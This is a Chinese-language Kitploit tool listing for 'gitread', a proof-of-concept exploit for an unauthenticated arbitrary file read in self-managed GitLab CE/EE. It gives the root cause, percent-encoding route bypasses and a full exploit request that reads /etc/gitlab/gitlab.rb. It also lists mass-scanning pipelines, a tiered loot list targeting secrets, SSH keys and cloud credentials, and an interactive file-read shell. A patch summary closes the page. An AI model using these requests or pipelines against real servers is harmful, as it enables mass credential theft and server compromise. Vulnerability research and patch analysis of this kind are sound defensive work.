Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
gitread — CVE-2026-85706 · GitLab CE/EE 未认证文件读取 · 研究性 PoC,具备 oracle 模式、fd 枚举与分级 loot 定位 | Kitploit
工具/GitHubGitHub/plur1bu5/gitread
侦察漏洞分析漏洞利用脚本与自动化Web应用程序漏洞利用数据泄露信息收集Web安全渗透测试红队
GitHubplur1bu5/gitread

gitread

117小时57分前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-85706 · GitLab CE/EE 未认证文件读取 · 研究性 PoC,具备 oracle 模式、fd 枚举与分级 loot 定位

查看仓库

gitread

CVE-2026-85706 的概念验证,这是一个影响自管理 GitLab CE/EE 的未认证任意文件读取漏洞。

CVECVE-2026-85706
CVSS10.0 (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N)
受影响版本18.7 至 19.1.7、19.2.0 至 19.2.5、19.3.0 至 19.3.1
修复版本19.1.8 / 19.2.6 / 19.3.2(发布于 2026-09-10)
组件Repository Commits API / Files API(Workhorse body-upload)
报告者s3ntago,通过 GitLab HackerOne

工作原理

三个仓库 API 端点位于 Workhorse 的 requestBodyUploader 之后:

root@kitploit:~
POST /api/v4/projects/:id/repository/commits
POST /api/v4/projects/:id/repository/files/:file_path
PUT  /api/v4/projects/:id/repository/files/:file_path

Rails 处理器在 authenticate! 之前调用 File.open(params['file.path'])。四个条件使该漏洞可被利用:

1. 认证在文件读取之后才触发。 require_gitlab_workhorse! 仅检查 Gitlab-Workhorse-Api-Request JWT 头。Workhorse 会为其代理的每个请求(包括纯透传请求)打上该头。真正的 authenticate! 位于 authorize_push_to_branch! 内部,而后者在 file_params_from_body_upload 已经从磁盘读取文件之后才运行。

2. file.path 直接来自请求。 file_params_from_body_upload 将 params['file.path'] 作为绝对路径读取,且不做任何验证。在预期流程中,Workhorse 会将上传内容写入临时文件并自行注入该参数。攻击者只需将其作为查询字符串参数直接发送,指向文件系统上的任意位置即可。

3. Workhorse 的路由匹配从不解码百分号编码。 Workhorse 使用 EscapedPath()(即接收到的原始 URL 字节)来匹配上传路由。Puma 在路由到 Grape 之前会解码 %XX 序列。因此,对静态段中的一个字符进行编码,会导致 Workhorse 跳过其重写规则,而 Rails 仍会路由到存在漏洞的处理器:

root@kitploit:~
POST /api/v4/projects/1/repository/commits/      (trailing slash)
POST /api/v4/projects/1/repository/%63ommits     (c -> %63)
POST /api/v4/projects/1/%72epository/commits     (r -> %72)
POST /api/v4/projects/1/repository/commits.json  (Grape format suffix)

4. Rack 会在错误响应中回显文件内容。 当 Content-Type: application/x-www-form-urlencoded 时,文件内容会被交给 Rack::Utils.parse_nested_query。任何后面没有跟两个十六进制数字的裸 % 都会引发 InvalidParameterError: invalid %-encoding (<content>)。文件中第一个 & 之前的所有内容都会被回显在 400 响应体中。

不含裸 % 的文件仍会在认证前被读取。urlencoded 分支返回的 401 响应和 multipart 分支返回的 500 响应都确认该文件存在且可被 git 用户读取,因此它们可用作存在性预言机。

利用请求:

root@kitploit:~
POST /api/v4/projects/1/repository/commits/ HTTP/1.1
Content-Type: application/x-www-form-urlencoded

file=&file.path=/etc/gitlab/gitlab.rb&file.size=1&Content-Type=application/x-www-form-urlencoded

功能特性

  • --file 读取任意单个文件;如果没有回显触发条件,会自动回退到预言机模式
  • --loot 运行 7 个层级共 36 个目标,按确认的回显触发概率排序
  • --oracle 对无回显文件运行双分支探测(urlencoded + multipart),并告知每个文件是可读、缺失还是不可读
  • --proc 枚举 /proc/self/fd/0-31 以查找打开的文件描述符,然后读取标准的 /proc 侦察目标
  • --shell 进入交互式文件读取 shell,支持 cat、loot、oracle、project 和 curl 命令
  • --pipe 从 stdin 读取目标,并处理 subfinder 输出、httpx 文本、httpx JSON、nuclei JSON 和原始主机行
  • --list 接收每行一个目标的文件

安装

root@kitploit:~
pip install requests
python3 gitread.py -h

需要 Python 3.10 或更高版本。无其他依赖。

使用方法

单一目标

root@kitploit:~
python3 gitread.py -t https://gitlab.corp.com --file /etc/passwd
python3 gitread.py -t https://gitlab.corp.com --file /etc/gitlab/gitlab.rb --raw > gitlab.rb
python3 gitread.py -t https://gitlab.corp.com --loot
python3 gitread.py -t https://gitlab.corp.com --oracle
python3 gitread.py -t https://gitlab.corp.com --full -o report.json
python3 gitread.py -t https://gitlab.corp.com --loot --shell
python3 gitread.py -t https://gitlab.corp.com --loot --proxy http://127.0.0.1:8080

管道

root@kitploit:~
subfinder -d corp.com -silent \
  | httpx -silent -sc -td \
  | python3 gitread.py --pipe --loot -o hits.jsonl

subfinder -d corp.com -silent \
  | httpx -silent -json \
  | python3 gitread.py --pipe --loot -q -o hits.jsonl

python3 gitread.py --list hosts.txt --loot --threads 20 -o hits.jsonl

cat hosts.txt | python3 gitread.py --loot

当 stdin 不是 TTY 时会自动检测,因此在大多数情况下 --pipe 是可选的。

Shell

root@kitploit:~
gitread@target> cat /etc/gitlab/gitlab-secrets.json
gitread@target> loot
gitread@target> oracle
gitread@target> project 35
gitread@target> curl /etc/passwd
gitread@target> exit

响应判定

Loot 层级

参数

退出码:0 确认泄露,1 仅预言机或管道中无泄露,2 未发现任何内容。

补丁

已在 master 提交 0d9ce3e7 中修复,并向后移植为 1fe30154 / b43c8b26 / 0ff7b6b2。

同时更改了三处:

  1. 在所有三个端点中将 authenticate! 移到 file_params_from_body_upload 之前,因此未认证请求永远不会读取文件
  2. file.path 现在仅接受由 multipart 中间件生成的类型化 UploadedFile 对象,该对象需要有效的 Workhorse 签名 JWT,而不再接受原始查询字符串参数
  3. InvalidParameterError 不再将 e.message 插值到响应体中,因此即使有人找到绕过前两项修复的方法,回显通道也已关闭

该漏洞引入于 GitLab 18.7(2025 年 12 月),当时添加了 commits API 的 body-upload 变体。


made with love by @plur1bu5 -- if you find it useful, a star is appreciated

下载工具
  • --threads 用于并发批量扫描
  • --proxy 将所有流量通过 Burp 或 mitmproxy 路由
  • --raw 将原始字节写入 stdout,无任何修饰,便于管道输出到文件
  • --full 在一次运行中执行 loot、oracle 和 proc
  • 通过 -o 输出 JSON 和 JSONL 报告
  • GitLab 版本指纹识别及受影响范围检查
  • Windows 终端颜色支持
  • 判定含义
    leak文件内容回显在 400 响应体中,确认已读取
    leak-frag通过参数类型错误实现的部分回显
    read-noecho文件在认证前被读取,但不含裸 %,因此无回显
    READABLEmultipart 分支返回 500,文件存在且可被 git 用户读取
    missing服务器表示本地文件不存在
    rewriteWorkhorse 重写了请求体,此绕过形式已失效
    norouteRails 404,实例已修补或路径错误
    server-error500,文件存在但导致解析错误
    层级文件回显
    1gitlab.rb、gitlab.yml、redis.conf内容直接泄露
    2gitlab-secrets.json、secrets.yml、database.yml仅预言机,纯十六进制
    3.gitlab_workhorse_secret仅预言机
    4SSH 私钥和 authorized_keys仅预言机
    5gitlab-shell.yml、gitaly.toml、PostgreSQL 配置仅预言机
    6Kubernetes 服务账户令牌、AWS 凭证仅预言机
    7Hostname、hosts、passwd、os-release、environ仅预言机
    参数描述
    -t、-u、--target单个基础 URL
    --pipe从 stdin 读取目标
    --list FILE目标文件
    --file PATH要读取的单个绝对路径
    --loot完整的 36 目标 loot 运行
    --oracle对无回显文件进行双分支探测
    --proc/proc fd 枚举与侦察
    --shell扫描后进入交互式 shell
    --fullloot + oracle + proc
    --project-id ID强制指定项目 id,而非自动检测
    --force即使目标指纹不是 GitLab 也进行扫描
    --raw将原始字节写入 stdout,无修饰
    --proxy URLHTTP/S 代理
    --threads N管道模式的工作线程数(默认 8)
    --timeout N每请求超时秒数(默认 15)
    -o FILE保存报告(.json 为美化数组,其他为 JSONL)
    -q、--quiet仅打印命中结果
    -v、--verbose显示每次探测尝试
    --no-banner抑制横幅显示